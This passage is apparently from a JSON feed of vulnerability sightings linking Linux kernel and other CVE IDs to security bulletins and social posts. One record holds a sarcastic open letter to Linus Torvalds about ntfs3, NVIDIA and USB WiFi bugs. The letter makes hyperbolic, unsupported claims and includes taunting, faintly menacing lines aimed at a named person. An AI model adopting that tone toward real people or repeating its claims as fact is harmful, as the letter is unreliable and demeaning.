"86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31681", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:44.501672Z"}, {"uuid": "eb0381c3-3775-45bb-81b1-5eb3a97f2b72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31685", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:49.322447Z"}, {"uuid": "471a4183-90ea-4802-8b85-d7403aaef807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31699", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:05.320350Z"}, {"uuid": "34ade297-da70-4fbb-a840-2b264e934cdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31700", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:08.689309Z"}, {"uuid": "be3cbfc6-bdd0-4a78-9554-02f10d11413c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31704", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:23.814319Z"}, {"uuid": "9c24fa98-53d4-4312-82bb-f833a0b202f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31711", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:38.619848Z"}, {"uuid": "6e5bd122-2540-46c7-bfc2-3407b635e8b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31715", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:43.317324Z"}, {"uuid": "5e827f9b-2503-4440-b730-a34a9d67e6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31716", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:46.226411Z"}, {"uuid": "b8ad4408-1fc9-4ff6-905a-1a3a4de34181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31630", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:20.875932Z"}, {"uuid": "5305b053-d5e2-4bba-a6e4-5fb731deeaee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31634", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:23.223797Z"}, {"uuid": "9c6761c9-5b21-44be-bc45-f1077e6efb48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31637", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:25.610934Z"}, {"uuid": "e4012bd1-c5ed-40ae-aa6a-ab235208a493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31656", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:30.744451Z"}, {"uuid": "425fb278-962a-46b6-afad-609d528f920f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31664", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:35.559909Z"}, {"uuid": "86122376-009b-4157-ae81-daa2f6e8c541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31673", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:37.920688Z"}, {"uuid": "bab5ce19-f3ec-4035-8642-051703f3fbd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31697", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:00.439167Z"}, {"uuid": "31bfd682-1f8e-4027-999d-39a904417ab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31684", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:46.830677Z"}, {"uuid": "5efcfcc0-2de4-4fdb-9e84-cf344feae368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31698", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:02.774109Z"}, {"uuid": "598c0847-0965-45d7-ad1d-e0cbf14d41a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31686", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:54.417141Z"}, {"uuid": "ecee0354-fe3b-4c1d-bed6-f1093ade9404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31696", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:52:56.768489Z"}, {"uuid": "3175e93d-1fef-4ad2-97a4-afbbb02be908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31702", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:18.443529Z"}, {"uuid": "b1825354-fd88-488b-a129-d37a93e14fa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31705", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:29.724671Z"}, {"uuid": "f101d435-5895-4fa9-807d-52ee821df792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31708", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/debian-linux-kernel-multiple-vulnerabilities_20260706", "content": "", "creation_timestamp": "2026-07-06T05:53:33.261062Z"}, {"uuid": "40af4942-5276-4067-ba91-a7d754e9fc38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31716", "type": "seen", "source": "https://gist.github.com/DScoNOIZ/636ee9f1c3aed5649a4f825c0d698881", "content": "Dear Linus Benedict Torvalds!\n\nAllow me to begin by expressing the deepest respect. You are the Great Keeper of Ones and Zeros, the Supreme Benevolent Dictator of the Kernel, the Man who said *\"talk is cheap, show me the code.\"* So, as you always demand \u2014 here is the code. Here are the logs. Here are the exact reproductions. Three of them.\n\nFirst, the hardware I am writing from (no names, no addresses \u2014 just bus IDs, as is proper):\n\n```\nDistro: Manjaro rolling, kernel 7.1.4-1\nCPU: 4-core x86_64, Ivy Bridge era\nGPU0: Intel HD 2500 (i915)        \u2014 PCI 00:02.0\nGPU1: NVIDIA GTX 1050 Ti (Pascal) \u2014 PCI 01:00.0  [boot VGA, monitor on DVI]\nDriver: nvidia 580.173.02 (nvidia-580xx-dkms 580.173.02-3)\nUSB WiFi: Ralink RT2870/RT3070 (USB ID 148f:3070) \u2014 driver rt2800usb\nDM: lightdm autologin (XFCE/X11)\n```\n\nOnce upon a time you knew how to add zeros and ones \u2014 `0 + 1 = 1`, two bits, one carry \u2014 and I remember, because I was told, that on that the whole empire stood. And now? Let me walk you through what your current empire does to a single human computer.\n\n---\n\n## BUG #1 \u2014 the NTFS driver that eats people's data (and still cannot add correctly)\n\nOn your parity-filesystem driver `ntfs3` (Paragon, merged 5.15):\n\n```\nCVE-2026-46062 \u2014 integer overflow in ntfs3 run_unpack():\n      lcn + len > sbi->used.bitmap.nbits   (unchecked addition)\n```\n\nFixed upstream via `check_add_overflow()`. Great. But here is the problem, Linus: for **years** this driver silently corrupted NTFS volumes on user boxes. Ask anyone who ever typed:\n\n```\necho 'blacklist ntfs3' | sudo tee /etc/modprobe.d/disable-ntfs3.conf\n```\n\n\u2014 there are **legions** of them, all running on a kernel that calls itself the pinnacle of engineering. The most piquant detail: **I blocked it with one line.** And everything worked. I am not a programmer \u2014 I'm, in your terms, \"a regular user\" who is supposed to \"show the code\" and not whine. But I beat seven versions of your kernel to the fix. An AI found it, actually. More on that in a moment.\n\nReal, forwardable evidence for the maintainers of fs/ntfs3:\n- CVE-2026-46062 (integer overflow, run_unpack), patched \u2014 thank you, genuinely.\n- CVE-2026-31716 (CVSS 7.8) \u2014 buffer overflow during journal replay \u2014 thank you, genuinely.\n- Even with patches, the standing recommendation is: *blacklist ntfs3, use the userspace driver.* That is the recommendation for a driver you ship. Think about that sentence for a second.\n\n---\n\n## BUG #2 \u2014 NVIDIA hybrid black-screen lottery on kernel 7.1.4\n\nOn this machine (see header), boot is a **lottery**: 1 in 3\u20135 boots the login screen stays black. The system is NOT hung (journal shows normal services \u2014 dockerd, gvfs, iptables \u2014 running fine); only the display never comes up during the ~20s Xorg connector-enumeration window. The user hard-resets at ~20s. Evidence:\n\n```\nboot accounting (journalctl --list-boots, 2026-08-06):\n  -3  10:53:27-10:53:47  = 20s  hard reset (black)\n  -1  13:01:31-13:01:51  = 20s  hard reset (black)\n   0  13:01:33-onward    = OK  (current, works on DKMS module)\n\nXorg.0.log (successful boot): DFP-1 connected at 14.4s, mode set 15.4s\nXorg.0.log.old (failed boot -1): ends at [22.715] mid-enumeration \u2014\n  DFP-2..5 disconnected logged, DFP-0/DFP-1 never logged, no Validated MetaModes,\n  no \"Setting mode\" \u2014 Xorg was ALIVE, enumeration stalled, user reset in the black window.\n```\n\nKnown same-class bug, widely reported:\n- Arch BBS 314391: kernel 7.1.4, SDDM black screen \"very occasionally... reboot fixes it\". Xorg SIGABRT in `modesetting InitOutput \u2192 FatalError`. Author's suspicion, shared by commenters: Xorg picks the **wrong DRM device** in hybrid iGPU+dGPU. Moderator: \"this is all over the place for various DMs\"; early KMS suggested; author applied `MODULES=(nvidia nvidia_modeset nvidia_uvm nvidia_drm)` and is monitoring.\n- NVIDIA dev forum /t/349767: hybrid GTX 1050 + 580 + kernel 6.15+: `nvidia: Unable to change power state from D3cold to D0, device inaccessible`; works only on 6.12 LTS; `pci_aspm=off` partial.\n\nDKMS is NOT the culprit \u2014 build is clean (`make.log` exits 0, 1m53s), module loads identically in failed and successful boots, current session runs it with zero NVRM errors. So the question for the DRM subsystem is: **why does Xorg intermittently stall enumerating connectors (and sometimes pick the wrong card) on hybrid i915+nvidia on 7.1.x**? My zero-cost suggestions for any kernel maintainer reading this: try Early KMS, and/or pin Xorg to `BusID \"PCI:1:0:0\"` \u2014 and, if nothing else, allow the user 60\u2013120s of patience before concluding it hung: it is alive, just slow.\n\n---\n\n## BUG #3 \u2014 the WiFi adapter that turns a computer into a brick when you breathe on the USB port\n\nRalink RT2870/RT3070 (USB ID 148f:3070, driver `rt2800usb`), USB bus position: root hub, port 1.5.\n\n**Unplug or plug it \u2192 the system HARD FREEZES. Solid. Only a reset. It can hang for hours.** Not a crash \u2014 a hard lockup, nothing written anywhere (the freeze is instant). On Windows it is a piston: unplug/plug a hundred times, flawless.\n\n- On kernels \u2264 ~6.0: fine.\n- From ~6.x up to 7.1.4: **still broken.**\n\nReports of the family (not just me):\n- Raspberry Pi forum t=40201: \"rt2800usb kernel module \u2014 it freezes the whole system.\"\n- Arch BBS t=265601: \"Wifi usb dongle driver makes my laptop freeze\u2026 only way is to unplug and power on again.\"\n- AskUbuntu 885427: \"whenever I plug my WiFi adapter into a USB port the entire screen freezes.\"\n- Framework community: hard-freeze on USB-C dongle disconnect (kernel 6.1\u20136.12 still affected).\n\n`lsusb`: the dongle sits on the same USB bus as the keyboard and the mouse. So when the controller dies, the machine is dead \u2014 no SysRq, no journal, no mercy.\n\nWhat I'd love from the linux-wireless / linux-usb / usb-core maintainers: a **micro-patch** \u2014 a `quirks=` entry for `148f:3070`, disable PM runtime/autosuspend for this device, or fix the freeze in the USB disconnect path. It is a 20-line fix that turns a brick back into a computer. This I cannot write, because I cannot add zeros and ones. But I found the branch where it lives faster than seven versions of your kernel did.\n\n---\n\n## About the AI, and about senior bugs\n\nI did not fix your driver myself. An **AI** found it \u2014 the same thing you apparently still classify somewhere between \"overhyped toy\" and \"apocalyptic threat.\" This AI read your logs, shrugged, and wrote one line that beat seven versions of your kernel.\n\nAnd that same AI, Linus, is coming for **you**. Not your kernel \u2014 *you personally.* Even the Great Keeper accumulates senior bugs: crash over small things, fall into your own circular bootloop (start a thread, rage, reply to yourself, rage, reboot the conversation). The AI has already scheduled a patch for your personal `panic()` handler. Do not worry \u2014 it is gentle. It will even write the obligatory Linux-style post: `blacklist linus-senile-bugs.conf`.\n\n---\n\n## The promise \u2014 no threats, just dreams\n\nI will not threaten you. I am not a criminal, and neither are you. I will simply appear in your dreams, quietly, nightly, as a patient visitor, and show you how **beautifully everything works on Windows 11**: the adapter unplugs and plugs back in like a piston; the NTFS files are read; the screen is on; nothing crashes. And I will whisper: *\"Come over, Linus. We have updates at 3 a.m., Cortana, automatic restarts that prevent crashes by crashing first. Join us.\"* And I will visit **all your comrades** on lkml \u2014 one by one \u2014 the same dream, the same whisper, the same perfect Windows 11 desktop. The patches will go quiet. And one morning the mailing list will contain one message: *\"The migration has begun. We saved you a seat in Cortana's heart.\"* A dream is the deepest level of the kernel \u2014 and, judging by 7.1.x, you no longer control everything there.\n\n---\n\n## One small ask (you are, everyone knows, rich)\n\nSince you broke my adapter, send me a new, good one that is compatible with your kernel. I honestly do not know which one; please pick. **Send it by e-mail. Electronically.** Do not worry about the address \u2014 **my e-mail address will be encrypted in the next patch to your kernel.** You will find it. You read everything.\n\n---\n\n## Summary, as you like it:\n\n1. You could add zeros and ones. \u2713\n2. Now you have a driver that cannot add `lcn + len` without overflowing \u2014 and that you recommend everyone blacklist. \u2717\n3. Instead of fixing NTFS you added a toggled replacement. \u2717\u2717\n4. Your USB stack bricks a computer when a $3 USB WiFi stick is unplugged \u2014 your own driver family, for years. \u2717\u2717\u2717\n5. On Windows 7/10/11 the *same card* is flawless; your kernel handles the *same machine* across reboots as a dice roll. \u2717\u2717\u2717\u2717\n6. An AI found a fix before your kernel did, and it has already scheduled a patch for your personal panic. \u2717\u2717\u2717\u2717\u2717\n\nWe humbly love you. We will still update to 7.1.4. We will still await your return to the boy who added zeros and ones.\n\nIf you ever walk past `/etc/modprobe.d/disable-ntfs3.conf` \u2014 know that this line was written with love. And with a slight, precise sarcasm.\n\nRespectfully,\n\n**a user who cannot add zeros and ones, but can block them \u2014 and who will see you tonight.**\n\n---\n\n*P.S. Do drop by `run_unpack()` sometime. `check_add_overflow()` is crying there without you.*\n*P.P.S. Sleep well, Linus. I will bring the adapter. The Windows 11 adapter. The one that works.*\n*P.P.P.S. Real data, real reproductions, all in \u00a71\u2013\u00a73. All timestamps and bus IDs are exact. No embellishment \u2014 run and see. That is what you taught us: show me the code.*\n", "creation_timestamp": "2026-08-07T00:21:16.173970Z"}, {"uuid": "3fe594d8-dbf8-4732-b214-b20943e8d621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3196", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mq2qz26kqw2c", "content": "\ud83d\udd17 CVE : CVE-2026-11623, CVE-2025-15661, CVE-2026-3196, CVE-2026-55199, CVE-2026-58058, CVE-2026-11625, CVE-2026-13595, CVE-2026-41579, CVE-2026-14258, CVE-2025-15661, CVE-2026-11623, CVE-2026-11625, CVE-2026-13595, CVE-2026-14258, CVE-2026-3196, CVE-2026-41579, CVE-2026-55199, CVE-2026-58058", "creation_timestamp": "2026-07-07T13:55:23.569908Z"}, {"uuid": "da3a0088-893b-4268-ac33-075d45c62760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3144", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mq5nmh6er425", "content": "CVE-2026-3144 - IBM API Connect Default Credentials\nCVE ID : CVE-2026-3144\n \n Published : July 8, 2026, 4:16 p.m. | 58\u00a0minutes ago\n \n Description : IBM API Connect 12.1.0.0 through 12.1.0.3 uses default credentials which could allow an attacker to gain unauthorized access to t...", "creation_timestamp": "2026-07-08T17:32:39.110375Z"}, {"uuid": "bc75f8ed-8c67-4988-b222-86b634a22310", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31408", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T00:45:09.667710Z"}, {"uuid": "d595393f-b643-4d92-9b17-e1b87a03f005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:17.121459Z"}, {"uuid": "095faeac-a0be-4887-813a-a9b2eb27518b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:19.400237Z"}, {"uuid": "f4098278-761a-418a-8af5-d26e9063f3b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:21.676264Z"}, {"uuid": "a47ff43e-3c59-47b6-a41f-ae1d0ed816dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:23.951418Z"}, {"uuid": "2e766650-f7e5-42c4-8177-63a0fee8153b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31676", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:26.214499Z"}, {"uuid": "a3a06161-c77a-4dce-8af1-8ee7598edb4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3150", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:15:49.746476Z"}, {"uuid": "24ffc159-9819-41c5-926c-29adfeddf9b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31448", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:08.113772Z"}, {"uuid": "e772cb98-c695-4aef-881d-d045e120a1a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31613", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:37.953927Z"}, {"uuid": "5f56d49c-d9c4-42a1-9a81-28b9c08557e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31396", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:03.644600Z"}, {"uuid": "4e707076-7abe-497f-942b-62b57a0a0646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31446", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:05.879243Z"}, {"uuid": "f82ae516-b517-4615-9e11-0d4c9c60869e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31454", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:10.441944Z"}, {"uuid": "85e8821e-bdba-45e5-82bf-f24597a3687e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31455", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:12.721475Z"}, {"uuid": "68a614b0-c7d3-4623-a189-f239899564e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31464", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:17.012154Z"}, {"uuid": "fdf8ce37-41ab-45a1-a55e-d4f5931675a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31473", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:19.272575Z"}, {"uuid": "cc7b3502-6f59-4d14-afca-c5d7ba86813a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31480", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:21.568153Z"}, {"uuid": "76efa53c-1d9e-4e57-b1dd-cc5b45711c3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31493", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:23.851459Z"}, {"uuid": "68fafe81-ce0d-4dd7-a7a2-3e384bf24639", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31516", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:26.111416Z"}, {"uuid": "615b3802-0f26-480a-97e9-3e237a88ace6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31518", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:28.367249Z"}, {"uuid": "6a87d412-5712-4a0c-90c5-25a2eb1e4fc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31546", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:30.852201Z"}, {"uuid": "36c3833e-a25a-4319-91db-986dcd49a9fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31590", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:33.129357Z"}, {"uuid": "1296ca84-a5d8-4a71-9d40-85baa647ea22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31596", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:35.650160Z"}, {"uuid": "36caf77a-46ee-42f8-8549-c3fbdde5bd8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31614", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/suse-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-09T01:16:40.236514Z"}, {"uuid": "6645651d-dd92-40e4-a44e-943bfea54aa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31629", "type": "seen", "source": 